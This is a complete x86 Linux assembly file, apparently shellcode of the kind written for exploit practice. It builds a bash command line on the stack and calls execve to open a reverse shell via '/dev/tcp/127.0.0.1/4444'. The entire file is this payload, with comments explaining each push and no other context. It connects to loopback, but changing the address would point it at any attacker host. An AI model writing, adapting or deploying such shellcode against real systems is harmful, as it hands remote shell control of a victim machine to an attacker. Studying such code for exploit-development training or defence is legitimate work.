section .text
global _start

_start:
	xor ebx, ebx				; EBX = 0
	xor ecx, ecx				; ECX = 0
	mul ebx					; EAX, EDX = 0

	push eax				; Push null terminator
	push 0x68732f2f				; Push "//sh"
	push 0x6e69622f				; Push "/bin"
	mov ebx, esp				; EBX -> "/bin//sh"

	push eax				; Push null terminator
	push word 0x632d			; Push "-c"
	mov edi, esp

	push eax				; Push null terminator
	push 0x31263e30				; Push "0>&1"
	push 0x2031263e				; Push ">&1 "
	push 0x32203434				; Push "44 2"
	push 0x34342f31				; Push "1/44"
	push 0x2e302e30				; Push "0.0."
	push 0x2e373231				; Push "127."
	push 0x2f706374				; Push "tcp/"
	push 0x2f766564				; Push "dev/"
	push 0x2f3e2069				; Push "i >/"
	push 0x2d206873				; Push "sh -"
	push 0x61622f2f				; Push "//ba"
	push 0x6e69622f				; Push "/bin"
	mov ecx, esp

	push eax                                ; Push null terminator
	push ecx                                ; Push pointer to "/bin//bash -i >/dev/tcp/127.0.0.1/4444 2>&1 0>&1"
	push edi                                ; Push pointer to "-c"
	push ebx                                ; Push pointer to "/bin//sh"
	mov ecx, esp                            ; Move argv into ECX

	mov al, 0xb				; EAX = 0xb (execve syscall number)
	int 0x80                                ; Execute execve syscall